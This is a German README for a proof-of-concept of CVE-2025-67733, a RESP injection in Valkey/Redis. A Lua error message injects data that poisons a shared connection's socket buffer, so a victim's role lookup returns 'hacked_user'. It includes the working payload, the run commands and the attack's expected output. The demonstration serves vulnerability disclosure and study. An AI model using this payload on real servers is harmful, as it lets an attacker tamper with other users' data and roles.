
Redis/Valkey RESP Injection PoC (CVE-2025-67733)
Proof-of-concept zur Demonstration einer RESP-Protokoll-Injection über Lua-Skript-Fehlermeldungen in Valkey/Redis.
Flask-Backend, das eine Webanwendung mit gemeinsamer Valkey-Verbindung (Connection Pooling) simuliert.
Endpunkte:
| Methode | Endpunkt | Beschreibung |
|---|
| POST | /api/user/role | Benutzerrolle festlegen |
| GET | /api/user/role | Benutzerrolle abrufen |
| POST | /api/process | Lua-Skript ausführen |
Verwendung:
python backend.py <Valkey-Host> <Valkey-Port> [Passwort]
# Beispiele
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 meinpasswort
Injiziert bösartige RESP-Daten über eine Lua-Skript-Fehlermeldung in den Socket-Puffer.
Payload:
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))
Verwendung:
python attacker_client.py
Legitimer Client, der Benutzerrollen festlegt und abruft.
Verwendung:
python victim_client.py set # Rolle auf "normal_user" setzen
python victim_client.py get # Aktuelle Rolle abrufen
pip install flask requests
Terminal 1 – Backend starten:
python backend.py 127.0.0.1 6379
Terminal 2 – Rolle festlegen:
python victim_client.py set
# Ausgabe: 'role':'normal_user' wurde festgelegt.
python victim_client.py get
# Ausgabe: 'role':'normal_user'
Terminal 3 – Angriff:
python attacker_client.py
# Ausgabe: Socket-Poisoning erfolgreich
Terminal 2 – Rolle abrufen (nach dem Angriff):
python victim_client.py get
# Ausgabe: 'role':'hacked_user'
1. Opfer legt Rolle fest
victim_client.py set --> backend --> Valkey
SET user:user:role "normal_user"
2. Angreifer injiziert Payload
attacker_client.py --> backend --> Valkey
EVAL 'error(...)' 0
Backend liest: "-ERR INJECTED\r\n"
Puffer verbleibt: "$11\r\nhacked_user"
3. Opfer ruft Rolle ab
victim_client.py get --> backend --> Valkey
GET user:user:role
Backend liest aus dem Puffer: "$11\r\nhacked_user"
Opfer erhält: "hacked_user"